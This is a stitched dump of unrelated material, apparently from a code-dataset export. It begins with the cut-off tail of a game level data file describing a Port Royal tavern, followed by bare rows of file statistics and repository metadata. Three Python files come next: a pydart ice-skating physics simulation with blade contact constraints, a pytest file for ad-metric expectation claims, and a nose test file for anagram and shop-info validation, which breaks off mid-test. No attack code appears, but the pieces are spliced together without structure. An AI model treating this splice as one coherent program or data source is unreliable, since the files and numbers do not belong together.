'Hpr': VBase3(-143.742, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(-45.371, -5.222, 1.0), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Respawns': True, 'Scale': VBase3(0.99, 0.99, 0.99), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'Zombie': False, 'spawnTimeAlt': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1208546953.92akelts': {'Type': 'Townsperson', 'Category': 'Commoner', 'AnimSet': 'idleC', 'AuraFX': 'None', 'Boss': False, 'CustomModel': 'None', 'GhostColor': 'None', 'GhostFX': 0, 'Greeting Animation': '', 'Hpr': VBase3(74.008, 0.0, 0.0), 'Instanced World': 'None', 'Level': '37', 'Notice Animation 1': '', 'Notice Animation 2': '', 'Patrol Radius': '12.0000', 'Pos': Point3(18.561, -3.343, 1.0), 'PoseAnim': '', 'PoseFrame': '', 'Private Status': 'All', 'PropFXLeft': 'None', 'PropFXRight': 'None', 'PropLeft': 'None', 'PropRight': 'None', 'Respawns': True, 'Scale': VBase3(1.0, 1.0, 1.0), 'ShopID': 'PORT_ROYAL_DEFAULTS', 'Start State': 'Idle', 'StartFrame': '0', 'Team': 'Villager', 'TrailFX': 'None', 'TrailLeft': 'None', 'TrailRight': 'None', 'Zombie': False, 'spawnTimeAlt': '', 'spawnTimeBegin': 0.0, 'spawnTimeEnd': 0.0}, '1208550439.95akelts': {'Type': 'Cups', 'DisableCollision': False, 'Hpr': VBase3(-120.43, 0.0, 0.0), 'Pos': Point3(-47.074, -7.149, 4.608), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Color': (0.699999988079071, 0.699999988079071, 0.699999988079071, 1.0), 'Model': 'models/props/beerstein'}}, '1209147627.03akelts': {'Type': 'Parlor Game', 'Category': 'Blackjack', 'BetMultiplier': '1', 'GameVariation': 'Normal', 'Hpr': Point3(0.0, 0.0, 0.0), 'Pos': Point3(-8.524, 2.247, 1.0), 'Scale': VBase3(1.0, 1.0, 1.0), 'Visual': {'Model': 'models/props/table_bar_round_parlor'}}}, 'Visual': {'Model': 'models/buildings/interior_tavern_b'}}}, 'Node Links': [], 'Layers': {'Collisions': ['1184008208.59kmuller', '1184016064.62kmuller', '1184013852.84kmuller', '1185822696.06kmuller', '1184006140.32kmuller', '1184002350.98kmuller', '1184007573.29kmuller', '1184021176.59kmuller', '1184005963.59kmuller', '1188324241.31akelts', '1184006537.34kmuller', '1184006605.81kmuller', '1187139568.33kmuller', '1188324186.98akelts', '1184006730.66kmuller', '1184007538.51kmuller', '1184006188.41kmuller', '1184021084.27kmuller', '1185824396.94kmuller', '1185824250.16kmuller', '1185823630.52kmuller', '1185823760.23kmuller', '1185824497.83kmuller', '1185824751.45kmuller', '1187739103.34akelts', '1188323993.34akelts', '1184016538.29kmuller', '1185822200.97kmuller', '1184016225.99kmuller', '1195241421.34akelts', '1195242796.08akelts', '1184020642.13kmuller', '1195237994.63akelts', '1184020756.88kmuller', '1184020833.4kmuller', '1185820992.97kmuller', '1185821053.83kmuller', '1184015068.54kmuller', '1184014935.82kmuller', '1185821432.88kmuller', '1185821701.86kmuller', '1195240137.55akelts', '1195241539.38akelts', '1195238422.3akelts', '1195238473.22akelts', '1185821453.17kmuller', '1184021269.96kmuller', '1185821310.89kmuller', '1185821165.59kmuller', '1185821199.36kmuller', '1185822035.98kmuller', '1184015806.59kmuller', '1185822059.48kmuller', '1185920461.76kmuller', '1194984449.66akelts', '1185824206.22kmuller', '1184003446.23kmuller', '1184003254.85kmuller', '1184003218.74kmuller', '1184002700.44kmuller', '1186705073.11kmuller', '1187658531.86akelts', '1186705214.3kmuller', '1185824927.28kmuller', '1184014204.54kmuller', '1184014152.84kmuller']}, 'ObjectIds': {'1202846053.19akelts0': '["Objects"]["1202846053.19akelts0"]', '1204236104.67akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1204236104.67akelts"]', '1204236104.69akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1204236104.69akelts"]', '1208543385.0akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208543385.0akelts"]', '1208543583.91akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208543583.91akelts"]', '1208544322.67akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208544322.67akelts"]', '1208544716.73akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208544716.73akelts"]', '1208545146.78akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208545146.78akelts"]', '1208546953.92akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208546953.92akelts"]', '1208550439.95akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1208550439.95akelts"]', '1209147627.03akelts': '["Objects"]["1202846053.19akelts0"]["Objects"]["1209147627.03akelts"]'}} extraInfo = {'camPos': Point3(96.3424, -205.988, 41.641), 'camHpr': VBase3(26.9442, -19.9935, 0), 'focalLength': 1.39999997616, 'skyState': -1, 'fog': 0}

1,262.857143

8,387

0.668778

1,028

8,840

5.723735

0.342412

0.014956

0.012237

0.009517

0.472128

0.43015

0.414004

0.397689

0.386812

0.378994

0

0.230864

0.08224

8,840

7

8,388

1,262.857143

0.494392

0.026131

0

0.617316

0.098431

0

1

0

false

0

0.333333

0

0.333333

0

null

0

1

0

1

0

1

0

null

0

1

0

7

e597d7d5e596662f7668cab5715f6ef068ef8e5c

17,489

py

Python

SkateUtils/NonHolonomicWorld.py

snumrl/skate

a57ec2dc81dc2502da8886b92b870d2c8d65b838

[ "Apache-2.0" ]

null

SkateUtils/NonHolonomicWorld.py

snumrl/skate

a57ec2dc81dc2502da8886b92b870d2c8d65b838

[ "Apache-2.0" ]

null

SkateUtils/NonHolonomicWorld.py

snumrl/skate

a57ec2dc81dc2502da8886b92b870d2c8d65b838

[ "Apache-2.0" ]

null

import pydart2 as pydart import numpy as np import math from PyCommon.modules.Math import mmMath as mm class NHWorld(pydart.World): def __init__(self, step, skel_path=None, xmlstr=False): self.has_nh = False super(NHWorld, self).__init__(step, skel_path, xmlstr) # nonholonomic constraint initial setting _th = 5. * math.pi / 180. skel = self.skeletons[1] self.skeletons[0].body(0).set_friction_coeff(0.02) self.nh0 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_right'), np.array((0.0216+0.104, -0.0216-0.027, 0.))) self.nh1 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_right'), np.array((0.0216-0.104, -0.0216-0.027, 0.))) self.nh2 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_left'), np.array((0.0216+0.104, -0.0216-0.027, 0.))) self.nh3 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_left'), np.array((0.0216-0.104, -0.0216-0.027, 0.))) self.nh1.set_violation_angle_ignore_threshold(_th) self.nh1.set_length_for_violation_ignore(0.208) self.nh3.set_violation_angle_ignore_threshold(_th) self.nh3.set_length_for_violation_ignore(0.208) self.nh0.add_to_world() self.nh1.add_to_world() self.nh2.add_to_world() self.nh3.add_to_world() self.has_nh = True self.ground_height = 0. def reset(self): super(NHWorld, self).reset() self.skeletons[0].body(0).set_friction_coeff(0.02) if self.has_nh: self.nh0.add_to_world() self.nh1.add_to_world() self.nh2.add_to_world() self.nh3.add_to_world() def step(self): # nonholonomic constraint right_blade_front_point = self.skeletons[1].body("h_blade_right").to_world((0.0216+0.104, -0.0216-0.027, 0.)) right_blade_rear_point = self.skeletons[1].body("h_blade_right").to_world((0.0216-0.104, -0.0216-0.027, 0.)) if right_blade_front_point[1] < 0.005+self.ground_height and right_blade_rear_point[1] < 0.005+self.ground_height: self.nh0.activate(True) self.nh1.activate(True) self.nh0.set_joint_pos(right_blade_front_point) self.nh0.set_projected_vector(right_blade_front_point - right_blade_rear_point) self.nh1.set_joint_pos(right_blade_rear_point) self.nh1.set_projected_vector(right_blade_front_point - right_blade_rear_point) else: self.nh0.activate(False) self.nh1.activate(False) left_blade_front_point = self.skeletons[1].body("h_blade_left").to_world((0.0216+0.104, -0.0216-0.027, 0.)) left_blade_rear_point = self.skeletons[1].body("h_blade_left").to_world((0.0216-0.104, -0.0216-0.027, 0.)) if left_blade_front_point[1] < 0.005 +self.ground_height and left_blade_rear_point[1] < 0.005+self.ground_height: self.nh2.activate(True) self.nh3.activate(True) self.nh2.set_joint_pos(left_blade_front_point) self.nh2.set_projected_vector(left_blade_front_point - left_blade_rear_point) self.nh3.set_joint_pos(left_blade_rear_point) self.nh3.set_projected_vector(left_blade_front_point - left_blade_rear_point) else: self.nh2.activate(False) self.nh3.activate(False) super(NHWorld, self).step() class NHWorldV2(pydart.World): def __init__(self, step, skel_path=None, xmlstr=False): self.has_nh = False super(NHWorldV2, self).__init__(step, skel_path, xmlstr) # nonholonomic constraint initial setting skel = self.skeletons[1] self.skeletons[0].body(0).set_friction_coeff(0.02) self.nh0 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_right'), np.array((0.0216+0.104, -0.0216-0.027, 0.))) self.nh1 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_right'), np.array((0.0216-0.104, -0.0216-0.027, 0.))) self.nh2 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_left'), np.array((0.0216+0.104, -0.0216-0.027, 0.))) self.nh3 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_left'), np.array((0.0216-0.104, -0.0216-0.027, 0.))) self.nh0.add_to_world() self.nh1.add_to_world() self.nh2.add_to_world() self.nh3.add_to_world() self.has_nh = True self.ground_height = 0. def reset(self): super(NHWorldV2, self).reset() self.skeletons[0].body(0).set_friction_coeff(0.02) if self.has_nh: self.nh0.add_to_world() self.nh1.add_to_world() self.nh2.add_to_world() self.nh3.add_to_world() def step(self): # nonholonomic constraint right_blade_front_point = self.skeletons[1].body("h_blade_right").to_world((0.0216+0.104, -0.0216-0.027, 0.)) right_blade_rear_point = self.skeletons[1].body("h_blade_right").to_world((0.0216-0.104, -0.0216-0.027, 0.)) if right_blade_front_point[1] < 0.005 + self.ground_height and right_blade_rear_point[1] < 0.005+self.ground_height: self.nh0.activate(True) self.nh1.activate(True) body_pos = self.skeletons[1].body('h_blade_right').to_world((0., -0.0216-0.027, 0.)) body_vec = self.skeletons[1].body('h_blade_right').to_world() - body_pos # type: np.ndarray projected_body_vec = body_vec.copy() projected_body_vec[1] = 0. projected_body_vel = self.skeletons[1].body('h_blade_right').world_linear_velocity() projected_body_vel[1] = 0. inclined_angle = math.pi/2. - math.acos(np.dot(mm.normalize(body_vec), mm.normalize(projected_body_vec))) #calculate inclined angle theta # print("vel: ", self.skeletons[1].body('h_blade_right').com_linear_velocity()[1]) # print(self.time()) # if 9. < self.time() and self.time() < 9.5: # if 8. < self.time() and self.time() < 8.5: # radi = 1.0 # g = 9.8 # inclined_angle = math.atan(self.skeletons[1].body('h_pelvis').com_linear_velocity()[0]**2 / (radi * g) ) # print("right_angle: ", inclined_angle) # q_temp = self.skeletons[1].q # q_temp[self.skeletons[1].dof_indices(["j_heel_right_x"])] = inclined_angle # self.skeletons[1].set_positions(q_temp) # turning_angle = np.copysign(inclined_angle / 4. , # np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) turning_angle = np.copysign(max(inclined_angle-15./180.*math.pi, 0.)/4., np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) R = mm.exp(mm.unitY(), turning_angle) self.nh0.set_joint_pos(np.dot(R, right_blade_front_point - body_pos) + body_pos) self.nh1.set_joint_pos(np.dot(R, right_blade_rear_point - body_pos) + body_pos) self.nh0.set_projected_vector(np.dot(R, right_blade_front_point - right_blade_rear_point)) self.nh1.set_projected_vector(np.dot(R, right_blade_front_point - right_blade_rear_point)) else: self.nh0.activate(False) self.nh1.activate(False) left_blade_front_point = self.skeletons[1].body("h_blade_left").to_world((0.0216+0.104, -0.0216-0.027, 0.)) left_blade_rear_point = self.skeletons[1].body("h_blade_left").to_world((0.0216-0.104, -0.0216-0.027, 0.)) if left_blade_front_point[1] < 0.005 +self.ground_height and left_blade_rear_point[1] < 0.005+self.ground_height: self.nh2.activate(True) self.nh3.activate(True) body_pos = self.skeletons[1].body('h_blade_left').to_world((0., -0.0216-0.027, 0.)) body_vec = self.skeletons[1].body('h_blade_left').to_world() - body_pos # type: np.ndarray projected_body_vec = body_vec.copy() projected_body_vec[1] = 0. projected_body_vel = self.skeletons[1].body('h_blade_left').world_linear_velocity() projected_body_vel[1] = 0. inclined_angle = math.pi/2. - math.acos(np.dot(mm.normalize(body_vec), mm.normalize(projected_body_vec))) # calculate inclined angle theta # if 9.0 < self.time() and self.time() < 9.5: # if 8. < self.time() and self.time() < 8.5: # radi = 1. # g = 9.8 # inclined_angle = math.atan( # self.skeletons[1].body('h_pelvis').com_linear_velocity()[0] ** 2 / (radi * g)) # print("left_angle: ", inclined_angle) # q_temp = self.skeletons[1].q # q_temp[self.skeletons[1].dof_indices(["j_heel_left_x"])] = inclined_angle # self.skeletons[1].set_positions(q_temp) # # turning_angle = np.copysign(inclined_angle / 4. , np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) turning_angle = np.copysign(max(inclined_angle-15./180.*math.pi, 0.)/4., np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) R = mm.exp(mm.unitY(), turning_angle) self.nh2.set_joint_pos(np.dot(R, left_blade_front_point - body_pos) + body_pos) self.nh3.set_joint_pos(np.dot(R, left_blade_rear_point - body_pos) + body_pos) self.nh2.set_projected_vector(np.dot(R, left_blade_front_point - left_blade_rear_point)) self.nh3.set_projected_vector(np.dot(R, left_blade_front_point - left_blade_rear_point)) else: self.nh2.activate(False) self.nh3.activate(False) super(NHWorldV2, self).step() class NHWorldV3(pydart.World): def __init__(self, step, skel_path=None, xmlstr=False): self.has_nh = False super(NHWorldV3, self).__init__(step, skel_path, xmlstr) # nonholonomic constraint initial setting skel = self.skeletons[1] self.skeletons[0].body(0).set_friction_coeff(0.02) # self.skeletons[0].body(0).set_friction_coeff(0.32) self.nh0 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_right'), np.array((0.0216+0.104, -0.0216-0.027, 0.))) self.nh1 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_right'), np.array((0.0216-0.104, -0.0216-0.027, 0.))) self.nh2 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_left'), np.array((0.0216+0.104, -0.0216-0.027, 0.))) self.nh3 = pydart.constraints.NonHolonomicContactConstraint(skel.body('h_blade_left'), np.array((0.0216-0.104, -0.0216-0.027, 0.))) self.nh0.add_to_world() self.nh1.add_to_world() self.nh2.add_to_world() self.nh3.add_to_world() self.has_nh = True self.ground_height = 0. def reset(self): super(NHWorldV3, self).reset() self.skeletons[0].body(0).set_friction_coeff(0.02) # self.skeletons[0].body(0).set_friction_coeff(0.32) if self.has_nh: self.nh0.add_to_world() self.nh1.add_to_world() self.nh2.add_to_world() self.nh3.add_to_world() def step(self): # nonholonomic constraint right_blade_front_point = self.skeletons[1].body("h_blade_right").to_world((0.0216+0.104, -0.0216-0.027, 0.)) right_blade_rear_point = self.skeletons[1].body("h_blade_right").to_world((0.0216-0.104, -0.0216-0.027, 0.)) if right_blade_front_point[1] < 0.005 + self.ground_height and right_blade_rear_point[1] > 0.05 + self.ground_height: self.skeletons[0].body(0).set_friction_coeff(1.0) # print("TOE PICK CONTACT!!! RIGHT") else: self.skeletons[0].body(0).set_friction_coeff(0.02) if right_blade_front_point[1] < 0.005+self.ground_height and right_blade_rear_point[1] < 0.005+self.ground_height: self.nh0.activate(True) self.nh1.activate(True) body_pos = self.skeletons[1].body('h_blade_right').to_world((0., -0.0216-0.027, 0.)) body_vec = self.skeletons[1].body('h_blade_right').to_world() - body_pos # type: np.ndarray projected_body_vec = body_vec.copy() projected_body_vec[1] = 0. projected_body_vel = self.skeletons[1].body('h_blade_right').world_linear_velocity() projected_body_vel[1] = 0. inclined_angle = math.pi/2. - math.acos(np.dot(mm.normalize(body_vec), mm.normalize(projected_body_vec))) #calculate inclined angle theta # print("vel: ", self.skeletons[1].body('h_blade_right').com_linear_velocity()[1]) # print(self.time()) # if 9. < self.time() and self.time() < 9.5: # if 8. < self.time() and self.time() < 8.5: # radi = 1.0 # g = 9.8 # inclined_angle = math.atan(self.skeletons[1].body('h_pelvis').com_linear_velocity()[0]**2 / (radi * g) ) # print("right_angle: ", inclined_angle) # q_temp = self.skeletons[1].q # q_temp[self.skeletons[1].dof_indices(["j_heel_right_x"])] = inclined_angle # self.skeletons[1].set_positions(q_temp) # turning_angle = np.copysign(inclined_angle / 4. , # np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) turning_angle = np.copysign(max(inclined_angle-15./180.*math.pi, 0.)/4., np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) # turning_angle = np.copysign(max(inclined_angle-5./180.*math.pi, 0.) / 4., # np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) R = mm.exp(mm.unitY(), turning_angle) self.nh0.set_joint_pos(np.dot(R, right_blade_front_point - body_pos) + body_pos) self.nh1.set_joint_pos(np.dot(R, right_blade_rear_point - body_pos) + body_pos) self.nh0.set_projected_vector(np.dot(R, right_blade_front_point - right_blade_rear_point)) self.nh1.set_projected_vector(np.dot(R, right_blade_front_point - right_blade_rear_point)) else: self.nh0.activate(False) self.nh1.activate(False) left_blade_front_point = self.skeletons[1].body("h_blade_left").to_world((0.0216+0.104, -0.0216-0.027, 0.)) left_blade_rear_point = self.skeletons[1].body("h_blade_left").to_world((0.0216-0.104, -0.0216-0.027, 0.)) # if left_blade_front_point[1] < 0.005 + self.ground_height and left_blade_rear_point[1] > 0.1 + self.ground_height: # self.skeletons[0].body(0).set_friction_coeff(1.0) # print("TOE PICK CONTACT!!! LEFT") # else: # self.skeletons[0].body(0).set_friction_coeff(0.02) if left_blade_front_point[1] < 0.005 +self.ground_height and left_blade_rear_point[1] < 0.005+self.ground_height: self.nh2.activate(True) self.nh3.activate(True) body_pos = self.skeletons[1].body('h_blade_left').to_world((0., -0.0216-0.027, 0.)) body_vec = self.skeletons[1].body('h_blade_left').to_world() - body_pos # type: np.ndarray projected_body_vec = body_vec.copy() projected_body_vec[1] = 0. projected_body_vel = self.skeletons[1].body('h_blade_left').world_linear_velocity() projected_body_vel[1] = 0. inclined_angle = math.pi/2. - math.acos(np.dot(mm.normalize(body_vec), mm.normalize(projected_body_vec))) # calculate inclined angle theta # if 9.0 < self.time() and self.time() < 9.5: # if 8. < self.time() and self.time() < 8.5: # radi = 1. # g = 9.8 # inclined_angle = math.atan( # self.skeletons[1].body('h_pelvis').com_linear_velocity()[0] ** 2 / (radi * g)) # print("left_angle: ", inclined_angle) # q_temp = self.skeletons[1].q # q_temp[self.skeletons[1].dof_indices(["j_heel_left_x"])] = inclined_angle # self.skeletons[1].set_positions(q_temp) # # turning_angle = np.copysign(inclined_angle / 4. , np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) turning_angle = np.copysign(max(inclined_angle-15./180.*math.pi, 0.)/4., np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) # turning_angle = np.copysign(max(inclined_angle-5./180.*math.pi, 0.) / 4., # np.dot(projected_body_vel, mm.cross(projected_body_vec, mm.unitY()))) R = mm.exp(mm.unitY(), turning_angle) self.nh2.set_joint_pos(np.dot(R, left_blade_front_point - body_pos) + body_pos) self.nh3.set_joint_pos(np.dot(R, left_blade_rear_point - body_pos) + body_pos) self.nh2.set_projected_vector(np.dot(R, left_blade_front_point - left_blade_rear_point)) self.nh3.set_projected_vector(np.dot(R, left_blade_front_point - left_blade_rear_point)) else: self.nh2.activate(False) self.nh3.activate(False) super(NHWorldV3, self).step()

52.20597

154

0.629882

2,540

17,489

4.061024

0.050787

0.071837

0.030247

0.052351

0.975085

0.964905

0.957538

0.951139

0.946195

0

0.067306

0.230316

17,489

334

155

52.362275

0.698982

0.2039

0

0.844221

0

0.0325

0

1

0.045226

false

0

0.020101

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0

null

0

1

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1

0

null

0

7

e5b157c8d462330b646be148fe7ff940241a84cd

4,001

py

Python

tests/sweep_builder/expectation_builder/expectations_inventory/metrics/test_breakdowns.py

panoramichq/data-collection-fb

550b90a303c880ae8c3dfd2801dc4f991a969f89

[ "MIT" ]

null

tests/sweep_builder/expectation_builder/expectations_inventory/metrics/test_breakdowns.py

panoramichq/data-collection-fb

550b90a303c880ae8c3dfd2801dc4f991a969f89

[ "MIT" ]

null

tests/sweep_builder/expectation_builder/expectations_inventory/metrics/test_breakdowns.py

panoramichq/data-collection-fb

550b90a303c880ae8c3dfd2801dc4f991a969f89

[ "MIT" ]

null

from datetime import datetime, date from unittest.mock import patch from common.enums.entity import Entity from common.enums.reporttype import ReportType from common.job_signature import JobSignature from sweep_builder.data_containers.entity_node import EntityNode from sweep_builder.data_containers.expectation_claim import ExpectationClaim from sweep_builder.data_containers.reality_claim import RealityClaim from sweep_builder.expectation_builder.expectations_inventory.metrics.breakdowns import ( day_metrics_per_ads_under_ad_account, ) @patch('sweep_builder.expectation_builder.expectations_inventory.metrics.breakdowns.iter_reality_per_ad_account_claim') def test_day_metrics_per_entity_under_ad_account_not_divisible(mock_iter_reality_per_ad_account): reality_claim = RealityClaim( ad_account_id='ad-account-id', entity_id='ad-account-id', entity_type=Entity.AdAccount, timezone='America/Los_Angeles', ) mock_iter_reality_per_ad_account.return_value = [ RealityClaim( entity_type=Entity.Ad, campaign_id='campaign-1', adset_id='adset-1', entity_id='ad-1', bol=datetime(2019, 1, 1, 12, 0), eol=datetime(2019, 1, 2, 12, 0), ), RealityClaim( entity_type=Entity.Ad, entity_id='ad-2', bol=datetime(2019, 1, 3, 12, 0), eol=datetime(2019, 1, 3, 12, 0) ), ] result = list(day_metrics_per_ads_under_ad_account([ReportType.day], reality_claim)) assert result == [ ExpectationClaim( 'ad-account-id', Entity.AdAccount, ReportType.day, Entity.Ad, JobSignature('fb|ad-account-id|||day|A|2019-01-01'), ad_account_id='ad-account-id', timezone='America/Los_Angeles', range_start=date(2019, 1, 1), ), ExpectationClaim( 'ad-account-id', Entity.AdAccount, ReportType.day, Entity.Ad, JobSignature('fb|ad-account-id|||day|A|2019-01-02'), ad_account_id='ad-account-id', timezone='America/Los_Angeles', range_start=date(2019, 1, 2), ), ExpectationClaim( 'ad-account-id', Entity.AdAccount, ReportType.day, Entity.Ad, JobSignature('fb|ad-account-id|||day|A|2019-01-03'), ad_account_id='ad-account-id', timezone='America/Los_Angeles', range_start=date(2019, 1, 3), ), ] @patch('sweep_builder.expectation_builder.expectations_inventory.metrics.breakdowns.iter_reality_per_ad_account_claim') def test_day_metrics_per_entity_under_ad_account_is_divisible(mock_iter_reality_per_ad_account): reality_claim = RealityClaim( ad_account_id='ad-account-id', entity_id='ad-account-id', entity_type=Entity.AdAccount, timezone='America/Los_Angeles', ) mock_iter_reality_per_ad_account.return_value = [ RealityClaim( entity_type=Entity.Ad, campaign_id='campaign-1', adset_id='adset-1', entity_id='ad-1', bol=datetime(2019, 1, 1, 12, 0), eol=datetime(2019, 1, 1, 12, 0), ) ] result = list(day_metrics_per_ads_under_ad_account([ReportType.day], reality_claim)) assert result == [ ExpectationClaim( 'ad-account-id', Entity.AdAccount, ReportType.day, Entity.Ad, JobSignature('fb|ad-account-id|||day|A|2019-01-01'), ad_account_id='ad-account-id', timezone='America/Los_Angeles', range_start=date(2019, 1, 1), entity_hierarchy=EntityNode( 'ad-account-id', Entity.AdAccount, children=[EntityNode('campaign-1', Entity.Campaign, children=[EntityNode('adset-1', Entity.AdSet)])], ), ) ]

35.40708

119

0.627843

475

4,001

5.018947

0.151579

0.128356

0.106124

0.064178

0.830117

0.768876

0.754195

0.741611

0.713087

0

0.040298

0.261935

4,001

112

120

35.723214

0.767017

0

0.70297

0

0.175956

0.089478

0

0.019802

1

0.019802

false

0

0.089109

0

0.108911

0

null

0

1

0

1

0

null

0

7

e5b1895f6975d1d01b286298676175c4eb266b92

11,708

py

Python

homework/Write Few Python Programs/test_impl_with_nose.py

rvprasad/software-testing-course

3803851dcf9f7bbd0f0b89fca6c9c5e3a48f22e0

[ "CC-BY-4.0" ]

11

2018-02-08T05:23:28.000Z

2021-05-24T13:23:56.000Z

homework/Write Few Python Programs/test_impl_with_nose.py

rvprasad/software-testing-course

3803851dcf9f7bbd0f0b89fca6c9c5e3a48f22e0

[ "CC-BY-4.0" ]

null

homework/Write Few Python Programs/test_impl_with_nose.py

rvprasad/software-testing-course

3803851dcf9f7bbd0f0b89fca6c9c5e3a48f22e0

[ "CC-BY-4.0" ]

2

2020-09-15T08:51:22.000Z

2021-01-26T12:07:18.000Z

import impl import nose def test_anagram_check_success(): nose.tools.assert_true(impl.anagram_check('Madam Curie', 'Radium came')) nose.tools.assert_true(impl.anagram_check('Who came', 'How mace')) nose.tools.assert_true(impl.anagram_check('his malt', 'salt him')) nose.tools.assert_true(impl.anagram_check('god', 'dog')) nose.tools.assert_true(impl.anagram_check('evil', 'live')) nose.tools.assert_true(impl.anagram_check('mace', 'came')) nose.tools.assert_true(impl.anagram_check('who ever', 'however')) def test_anagram_check_for_invalid_words(): nose.tools.assert_false(impl.anagram_check('collapse', 'lapsecol')) nose.tools.assert_false(impl.anagram_check('collapse', 'laps cole')) nose.tools.assert_false(impl.anagram_check('karaoke singing', 'ring soaking kae')) nose.tools.assert_false(impl.anagram_check('life time', 'meet fili')) nose.tools.assert_false(impl.anagram_check("fall", "llaf")) # ?? def test_anagram_check_not_permutation(): nose.tools.assert_false(impl.anagram_check('really', 'leary')) nose.tools.assert_false(impl.anagram_check('collapse', 'elapsed')) nose.tools.assert_false(impl.anagram_check('life time', 'meet file')) def test_anagram_for_None1(): flag1 = False flag2 = False try: flag2 = not impl.anagram_check(None, '') except ValueError: # What can go wrong without specific exception type? flag1 = True assert flag1 or flag2 # Using assert def test_anagram_for_None2(): flag1 = False flag2 = False try: flag2 = not impl.anagram_check('', None) except ValueError: flag1 = True nose.tools.assert_true(flag1 or flag2) def test_anagram_for_None3(): flag1 = False flag2 = False try: flag2 = not impl.anagram_check(None, None) except ValueError: flag1 = True nose.tools.assert_true(flag1 or flag2) def test_anagram_for_invalid_type1(): flag1 = False flag2 = False try: flag2 = not impl.anagram_check(1234, '') except ValueError: flag1 = True nose.tools.assert_true(flag1 or flag2) def test_anagram_for_invalid_type2(): flag1 = False flag2 = False try: flag2 = not impl.anagram_check('', 1234) except ValueError: flag1 = True nose.tools.assert_true(flag1 or flag2) def test_anagram_for_invalid_type3(): flag1 = False flag2 = False try: flag2 = not impl.anagram_check(1234, 1234) except ValueError: flag1 = True nose.tools.assert_true(flag1 or flag2) NAME = "Harry" PHONE = 7855326350 EMAIL = "harry@ksu.edu" URL = "http://ksu.edu/~harry" URL = "http://www.microsoft.com/~harry" URL = "http://127.1.1.0" def test_shopinfo_for_all_valid1(): tmp1 = impl.ShopInfo(NAME, PHONE, EMAIL, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) assert tmp1.get_website() == URL # Using assert def test_shopinfo_for_all_valid2(): email = "john.doe@example.com" tmp1 = impl.ShopInfo(NAME, PHONE, email, URL) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), email) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_for_all_valid3(): url = "http://1.2.3.4/what/" tmp1 = impl.ShopInfo(NAME, PHONE, EMAIL, url) nose.tools.assert_equal(tmp1.get_name(), NAME) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), url) def test_shopinfo_name_for_invalid_value1(): tmp1 = impl.ShopInfo("1234", PHONE, EMAIL, URL) nose.tools.assert_raises(ValueError, tmp1.get_name) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_name_for_invalid_value2(): tmp1 = impl.ShopInfo("", PHONE, EMAIL, URL) nose.tools.assert_raises(ValueError, tmp1.get_name) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_name_for_invalid_value3(): tmp1 = impl.ShopInfo(None, PHONE, EMAIL, URL) nose.tools.assert_raises(ValueError, tmp1.get_name) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_name_for_invalid_value4(): name = "Seven-11" tmp1 = impl.ShopInfo(name, PHONE, EMAIL, URL) nose.tools.assert_raises(ValueError, tmp1.get_name) nose.tools.assert_equal(tmp1.get_phone(), PHONE) nose.tools.assert_equal(tmp1.get_email(), EMAIL) nose.tools.assert_equal(tmp1.get_website(), URL) def test_shopinfo_name_for_invalid_type(): tmp1 = impl.ShopInfo(1234, PHONE, EMAIL, URL) nose.tools.assert_raises(ValueError, tmp1.get_name) nose.tools.assert_equal(tmp1.get_phone(), PHONE) 